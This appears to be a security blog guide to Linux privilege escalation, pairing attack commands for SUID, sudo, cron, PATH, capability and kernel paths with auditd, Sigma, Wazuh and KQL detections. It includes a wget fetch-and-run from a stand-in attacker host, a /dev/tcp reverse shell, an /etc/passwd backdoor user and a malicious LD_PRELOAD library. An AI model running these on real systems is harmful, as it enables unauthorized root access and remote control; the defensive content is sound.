You compromised a web server. A shell drops as www-data — no sudo, no access to /etc/shadow, no way to pivot further. Forty minutes later, you’re root. This is the gap between initial foothold and full system compromise: Linux privilege escalation.

For defenders: every undetected privesc is a missed detection opportunity. This guide covers every major technique — and exactly how to catch each one.

TL;DR

  • Linux privesc turns low-priv shells (www-data, service accounts) into root
  • Six primary attack paths: SUID abuse, sudo misconfig, cron hijacking, PATH injection, capabilities, kernel exploits
  • Tools: LinPEAS automates discovery; pspy reveals cron jobs without root access
  • Every technique in this guide has auditd, Sigma, and Wazuh/Sentinel detection coverage
  • Most misconfigurations take under 5 minutes to exploit — and months to detect without proper logging

Why This Matters

Initial access rarely gives you root. Attackers almost always land as a service account, www-data, or a low-privileged user. Privilege escalation is the bridge between “I’m in” and “I own this system.”

For red teamers: it’s a required post-exploitation phase before lateral movement, credential harvesting, or persistence. For blue teamers: it’s where most detections are missing — auditd is often disabled, sudo logs aren’t forwarded to SIEM, and cron file modifications generate zero alerts.

MITRE ATT&CK tactic: TA0004 — Privilege Escalation


Contents

  1. Phase 1: Reconnaissance
  2. SUID and SGID Abuse
  3. Sudo Misconfiguration
  4. Cron Job Hijacking
  5. PATH Injection
  6. Linux Capabilities
  7. Kernel Exploits
  8. Detection Reference
  9. Mitigations
  10. What You Can Do Today

Phase 1: Reconnaissance

Before exploiting anything, map the attack surface. Two tools do 90% of the work.

LinPEAS — automated enumeration

LinPEAS (Linux Privilege Escalation Awesome Script) scans for hundreds of misconfigurations automatically. Run it directly from memory to avoid writing to disk:

Terminal window
# From memory — no file on disk
curl -s https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null
# If curl isn't available, transfer and run
wget http://attacker.com/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh

LinPEAS color-codes findings: red/yellow = likely exploitable. It checks SUID binaries, sudo rules, cron jobs, writable directories in PATH, capabilities, environment variables, and running processes.

pspy — watch cron jobs without root

pspy monitors process execution in real-time without requiring root privileges. It reveals scheduled tasks that aren’t visible in crontab files — because root cron jobs aren’t exposed to low-privileged users.

Terminal window
./pspy64 # watch for 5+ minutes to catch all scheduled tasks

Attacker value: reveals hidden cron jobs that standard crontab -l won’t show. Defender value: pspy running on a host is a strong indicator of active privilege escalation recon.

Manual quick checks

Terminal window
# Current identity and group memberships
id && groups
# What can this user run as root?
sudo -l
# SUID and SGID binaries
find / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc
# Binaries with Linux capabilities
getcap -r / 2>/dev/null
# All cron jobs (system-wide)
cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null
# Writable directories in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type d 2>/dev/null
# World-writable files owned by root
find / -writable -user root -type f 2>/dev/null | grep -v proc

SUID and SGID Abuse

SUID (Set User ID) — when this permission bit is set on a binary, it executes with the file owner’s privileges, not the caller’s. A root-owned binary with SUID set runs as root regardless of who invokes it.

SGID (Set Group ID) works the same way for group privileges.

Attack

Terminal window
# Enumerate SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Example: SUID 'find' binary
/usr/bin/find . -exec /bin/sh -p \; -quit
# The -p flag preserves effective UID → drops to root shell
# Example: SUID vim
sudo vim -c ':!/bin/bash'
# Example: SUID Python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Example: SUID cp — overwrite /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'evil:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su evil

GTFOBins (gtfobins.github.io) documents exploitation paths for hundreds of SUID binaries. If you find a non-standard SUID binary, GTFOBins tells you exactly how to abuse it.

MITRE: T1548.001 — Setuid and Setgid

Detection: auditd

/etc/audit/rules.d/privesc.rules
# Flag processes that execute with euid=0 but were started by non-root
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution
-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution

These rules trigger whenever a process runs with effective UID 0 (root) but was initiated by a non-root user — the direct signature of SUID abuse.

Detection: Sigma

title: SUID Binary Execution by Non-Root User
status: stable
description: Detects SUID binary execution where euid=0 but initiating user is non-root
logsource:
product: linux
service: auditd
detection:
selection:
type: SYSCALL
syscall: execve
euid: '0'
filter:
auid:
- '0'
- '4294967295' # unset auid (daemons)
condition: selection and not filter
falsepositives:
- Legitimate SUID binaries: passwd, su, newgrp — tune by exe path
level: medium
tags:
- attack.privilege_escalation
- attack.t1548.001

Detection: Wazuh

<rule id="100300" level="12">
<if_group>audit_command</if_group>
<field name="audit.euid">0</field>
<field name="audit.auid" negate="yes">0</field>
<description>Possible SUID abuse: non-root user spawned root-privilege process</description>
<group>privilege_escalation,suid_abuse,</group>
<mitre>
<id>T1548.001</id>
</mitre>
</rule>

Sudo Misconfiguration

sudo lets specified users run commands as other users — typically root. A misconfigured sudoers file is the most commonly exploited privilege escalation vector in enterprise Linux environments.

NOPASSWD entries

/usr/bin/vim
sudo -l
# Exploit: spawn a shell from within vim
sudo vim -c ':!/bin/bash'

Wildcards in sudo rules

Terminal window
# Sudoers entry:
# user ALL=(root) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py
# Exploit: path traversal bypasses the wildcard restriction
sudo /usr/bin/python3 /opt/scripts/../../../tmp/evil.py

LD_PRELOAD abuse

Terminal window
# Check: sudo -l shows env_keep+=LD_PRELOAD
# Create a malicious shared library that runs at load time:
cat > /tmp/evil.c << 'EOF'
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find

MITRE: T1548.003 — Sudo and Sudo Caching

Detection: auditd

Terminal window
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_execution
-w /etc/sudoers -p wa -k sudoers_modification
-w /etc/sudoers.d/ -p wa -k sudoers_modification

Detection: Sigma

title: Sudo Used to Spawn Interactive Shell
status: experimental
description: Detects sudo invocations that result in interactive shell execution
logsource:
product: linux
service: auth
detection:
keywords:
- 'sudo.*: .* COMMAND=/bin/bash'
- 'sudo.*: .* COMMAND=/bin/sh'
- 'sudo.*: .* COMMAND=.*python.*-c'
- 'sudo.*: .* COMMAND=.*perl -e'
- 'sudo.*: .* COMMAND=/usr/bin/vim'
- 'sudo.*: .* COMMAND=/usr/bin/less'
- 'sudo.*: .* COMMAND=/usr/bin/env'
condition: keywords
level: high
tags:
- attack.privilege_escalation
- attack.t1548.003

Detection: Wazuh

Wazuh built-in rule 5402 handles sudo authentication failures. Add a custom rule for shell spawning:

<rule id="100301" level="14">
<if_sid>5402</if_sid>
<regex type="pcre2">COMMAND=(\/bin\/bash|\/bin\/sh|vim|python|perl|less|env)</regex>
<description>Sudo used to execute interactive shell — privilege escalation indicator</description>
<group>privilege_escalation,sudo_abuse,</group>
<mitre>
<id>T1548.003</id>
</mitre>
</rule>

Cron Job Hijacking

Cron runs scheduled tasks — often as root. If the script a cron job calls is writable by low-privileged users, an attacker can inject commands that execute as root on the next scheduled run.

Writable script called by root cron

Terminal window
# /etc/crontab shows:
# */5 * * * * root /opt/backup.sh
# Check permissions on the target script:
ls -la /opt/backup.sh
# -rwxrwxrwx root root ← world-writable, exploitable
# Append a reverse shell:
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' >> /opt/backup.sh
# Wait up to 5 minutes for cron to execute it as root

PATH hijacking in cron

/home/lowpriv/bin
# /etc/crontab contains:
# * * * * * root backup.sh ← no absolute path
# If /home/lowpriv/bin is writable and appears before system directories:
cat > /home/lowpriv/bin/backup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
EOF
chmod +x /home/lowpriv/bin/backup.sh
# After cron runs: /tmp/rootbash -p → root shell

MITRE: T1053.003 — Scheduled Task/Job: Cron

Detection: auditd

Terminal window
# Monitor all cron-related directories for file modifications
-w /etc/crontab -p wa -k cron_modification
-w /etc/cron.d/ -p wa -k cron_modification
-w /etc/cron.daily/ -p wa -k cron_modification
-w /etc/cron.hourly/ -p wa -k cron_modification
-w /etc/cron.weekly/ -p wa -k cron_modification
-w /var/spool/cron/ -p wa -k cron_modification

Detection: Sigma

title: Cron File Modified by Non-Root User
status: stable
description: Detects modification to cron files or directories by non-privileged users
logsource:
product: linux
service: auditd
detection:
selection:
type: PATH
name|contains:
- '/etc/cron'
- '/var/spool/cron'
key: cron_modification
filter:
auid: '0'
condition: selection and not filter
level: high
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1053.003

Detection: Wazuh

Enable file integrity monitoring (FIM) on cron paths plus a custom alert:

<!-- ossec.conf — FIM for cron directories -->
<directories realtime="yes" check_all="yes" report_changes="yes">
/etc/crontab,/etc/cron.d,/etc/cron.daily,/var/spool/cron
</directories>
<!-- custom rule triggered by FIM cron events -->
<rule id="100302" level="12">
<if_group>syscheck</if_group>
<match>/etc/cron|/var/spool/cron</match>
<description>Cron file modified — possible persistence or privilege escalation</description>
<group>privilege_escalation,cron_modification,</group>
<mitre>
<id>T1053.003</id>
</mitre>
</rule>

PATH Injection

Linux resolves commands by searching directories listed in the $PATH environment variable from left to right. If a script runs a command without specifying its full path (e.g., backup instead of /usr/bin/backup) and a writable directory appears early in PATH, an attacker can plant a malicious binary with the same name.

Terminal window
# Root-owned SUID script calls 'id' without an absolute path:
cat /usr/local/bin/check_status
# #!/bin/bash
# echo "System check by: $(id)"
# Inject a fake 'id' binary earlier in PATH:
export PATH=/tmp:$PATH
cat > /tmp/id << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
EOF
chmod +x /tmp/id
# Execute the SUID script — it picks up /tmp/id instead of /usr/bin/id
/usr/local/bin/check_status
/tmp/rootbash -p # root shell

MITRE: T1574.007 — Path Interception by PATH Environment Variable

Detection: auditd + Sigma

Terminal window
# Detect root-privilege processes spawned from writable directories
-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec
-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exec
title: Root Process Executed from World-Writable Directory
status: experimental
description: Root-privilege binary executed from /tmp, /dev/shm, or similar writable paths
logsource:
product: linux
service: auditd
detection:
selection:
type: SYSCALL
euid: '0'
exe|contains:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
condition: selection
level: high
tags:
- attack.privilege_escalation
- attack.t1574.007

Linux Capabilities

Linux capabilities are a granular alternative to SUID — instead of granting full root, they give a binary specific elevated rights. cap_setuid lets a process change its UID to any user including root. cap_dac_override bypasses all file permission checks. Attackers who find these assigned to unexpected binaries get a clean privesc path.

Terminal window
# Enumerate all binaries with capabilities
getcap -r / 2>/dev/null
# Dangerous output example:
# /usr/bin/python3.10 = cap_setuid+ep
# Exploit: cap_setuid allows direct UID change
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Dangerous capabilities reference

CapabilityRiskExploit path
cap_setuidCriticalChange UID to 0 → instant root
cap_dac_overrideCriticalRead/write any file (including /etc/shadow)
cap_sys_adminCriticalNear-root — mount, ptrace, kernel operations
cap_net_adminHighModify routing, intercept traffic
cap_sys_ptraceHighAttach to and inject code into any process
cap_fownerHighBypass ownership checks on any file

MITRE: T1548.001

Detection: auditd

Terminal window
# Monitor setuid/setreuid system calls and the setcap tool
-a always,exit -F arch=b64 -S setuid -k setuid_syscall
-a always,exit -F arch=b64 -S setreuid -k setuid_syscall
-a always,exit -F arch=b64 -S setresuid -k setuid_syscall
-w /sbin/setcap -p x -k capabilities_change

Detection: Sigma

title: Linux Capabilities Discovery
status: stable
description: Detects use of getcap/setcap — recon or modification of file capabilities
logsource:
product: linux
service: auditd
detection:
selection:
type: EXECVE
a0|contains:
- 'getcap'
- 'setcap'
condition: selection
level: medium
tags:
- attack.discovery
- attack.privilege_escalation
- attack.t1548.001

Detection: Sentinel KQL

Assumes auditd logs forwarded to Log Analytics workspace via Syslog or Azure Monitor Agent:

// Detect UID change syscalls from non-root processes
Syslog
| where ProcessName == "audit" or Facility == "kern"
| where SyslogMessage has_any ("syscall=setuid", "syscall=setreuid", "syscall=setresuid")
| where SyslogMessage has "euid=0"
| where SyslogMessage !has "auid=0"
| where SyslogMessage !has "auid=4294967295"
| extend
Host = Computer,
AuditKey = extract(@"key=(\w+)", 1, SyslogMessage),
ExePath = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)
| project TimeGenerated, Host, ExePath, AuditKey, SyslogMessage
| order by TimeGenerated desc
// Detect setcap execution (capability assignment to binaries)
Syslog
| where SyslogMessage has "setcap" and SyslogMessage has "execve"
| project TimeGenerated, Computer, SyslogMessage

Kernel Exploits

When no misconfiguration is exploitable, target the kernel directly. Kernel exploits bypass all application-layer controls — they work regardless of sudo policy, file permissions, or AppArmor/SELinux configuration.

Kernel exploits are powerful but carry risk: a bug in exploit code can kernel-panic the system. They’re a last resort.

Notable kernel privesc vulnerabilities

CVENameAffected versionsImpact
CVE-2022-0847DirtyPipeLinux 5.8–5.16Overwrite read-only files, root
CVE-2021-4034PwnKitAny Linux with pkexec since 2009SUID pkexec heap overflow → root
CVE-2021-3156Baron Sameditsudo < 1.9.5p2Heap overflow → root
CVE-2019-13272PTRACE_TRACEMELinux < 5.1.17User namespace privesc
Terminal window
# Check kernel version first
uname -r && cat /etc/os-release
# Search for known exploits
searchsploit linux kernel $(uname -r | cut -d. -f1-3) privilege escalation
# Check if pkexec (PwnKit target) is SUID
ls -la $(which pkexec)

MITRE: T1068 — Exploitation for Privilege Escalation

Detection

Kernel exploits are difficult to detect at the application layer. Focus on:

auditd — detect DirtyPipe-style /proc/[pid]/mem writes:

Terminal window
-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_write
-a always,exit -F arch=b64 -S open -F path=/proc/self/mem -F perm=w -k proc_mem_write

Sigma — detect PwnKit exploitation pattern:

title: Suspicious pkexec Execution (PwnKit Pattern)
status: experimental
description: Detects pkexec invocation patterns associated with CVE-2021-4034
logsource:
product: linux
service: auditd
detection:
selection:
type: EXECVE
exe|endswith: '/pkexec'
filter:
a1|startswith: '/usr'
condition: selection and not filter
level: high
tags:
- attack.privilege_escalation
- attack.t1068

Sentinel KQL — flag privilege gain from unexpected parents:

// Detect processes that gained root UID from non-root parent
Syslog
| where SyslogMessage has "type=SYSCALL"
| where SyslogMessage has "euid=0" and SyslogMessage has "ppid"
| where SyslogMessage !has "auid=0"
| extend ppid = extract(@"ppid=(\d+)", 1, SyslogMessage)
| extend exe = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)
| where exe !in ("/usr/bin/sudo", "/usr/bin/su", "/usr/bin/newgrp", "/usr/bin/passwd")
| project TimeGenerated, Computer, exe, ppid, SyslogMessage

Detection Reference

Complete auditd ruleset for deploying all detections above in one file:

Terminal window
## /etc/audit/rules.d/privesc.rules
## Linux Privilege Escalation Detection Rules
# SUID: non-root user spawns root-effective process
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution
-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution
# Sudo: invocation and config changes
-w /usr/bin/sudo -p x -k sudo_execution
-w /etc/sudoers -p wa -k sudoers_modification
-w /etc/sudoers.d/ -p wa -k sudoers_modification
# Cron: file and directory modifications
-w /etc/crontab -p wa -k cron_modification
-w /etc/cron.d/ -p wa -k cron_modification
-w /etc/cron.daily/ -p wa -k cron_modification
-w /etc/cron.hourly/ -p wa -k cron_modification
-w /etc/cron.weekly/ -p wa -k cron_modification
-w /var/spool/cron/ -p wa -k cron_modification
# Capabilities: UID change syscalls and setcap tool
-a always,exit -F arch=b64 -S setuid -k setuid_syscall
-a always,exit -F arch=b64 -S setreuid -k setuid_syscall
-a always,exit -F arch=b64 -S setresuid -k setuid_syscall
-w /sbin/setcap -p x -k capabilities_change
# PATH injection: root process in writable directory
-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec
-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exec
# Kernel exploit pattern: /proc/mem writes
-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_write

Apply without reboot:

Terminal window
auditctl -R /etc/audit/rules.d/privesc.rules
systemctl reload auditd

MITRE ATT&CK mapping

TechniqueAttack pathDetection key
T1548.001SUID/SGID abuse, Capabilitiessuid_execution, setuid_syscall
T1548.003Sudo misconfigsudo_execution, sudoers_modification
T1053.003Cron job hijackingcron_modification
T1574.007PATH injectionsuspicious_root_exec
T1068Kernel exploitsproc_mem_write + anomaly

Mitigations

ControlWhat it prevents
Monthly SUID audit: find / -perm -4000 -type fDetects unauthorized SUID binaries
Remove unnecessary SUID bits: chmod u-s /path/to/binaryEliminates SUID attack surface
No NOPASSWD or wildcards in sudoersRemoves sudo abuse paths
Use absolute paths in all cron scriptsPrevents PATH hijacking via cron
chmod 750 /etc/cron.d /etc/cron.daily /etc/cron.weeklyPrevents world-writable cron injection
Audit capabilities: getcap -r / 2>/dev/nullIdentifies dangerous capability assignments
setcap -r /path/to/binary for unnecessary capabilitiesEliminates capability-based escalation
Keep kernel patched — subscribe to linux-security-announceCloses kernel exploit windows
Run services as dedicated low-priv accounts (not root, not www-data)Limits blast radius of initial access
Deploy auditd + forward logs to SIEMEnsures detection coverage across all techniques

What You Can Do Today

Red teamers:

  1. Run LinPEAS on your next engagement and document every yellow/red finding — most environments have at least one critical misconfiguration
  2. Run pspy64 for 5 minutes on any low-priv shell before manual enumeration — you’ll catch cron jobs that crontab listings miss
  3. Check GTFOBins for every non-standard SUID binary: if it’s listed, you have a working privesc

Defenders:

  1. Deploy the auditd ruleset above — it takes under five minutes and covers all six attack paths in this guide
  2. Forward auditd logs to your SIEM — detections are useless if the logs aren’t there
  3. Run this command right now on each Linux host: find / -perm -4000 -type f 2>/dev/null — investigate anything that isn’t a standard OS binary (passwd, su, ping, etc.)
  4. Audit sudoers: grep -i nopasswd /etc/sudoers /etc/sudoers.d/* 2>/dev/null — any result deserves review
  5. Audit capabilities: getcap -r / 2>/dev/nullcap_setuid=ep on any interpreter (Python, Perl, Ruby) is a critical finding


Sources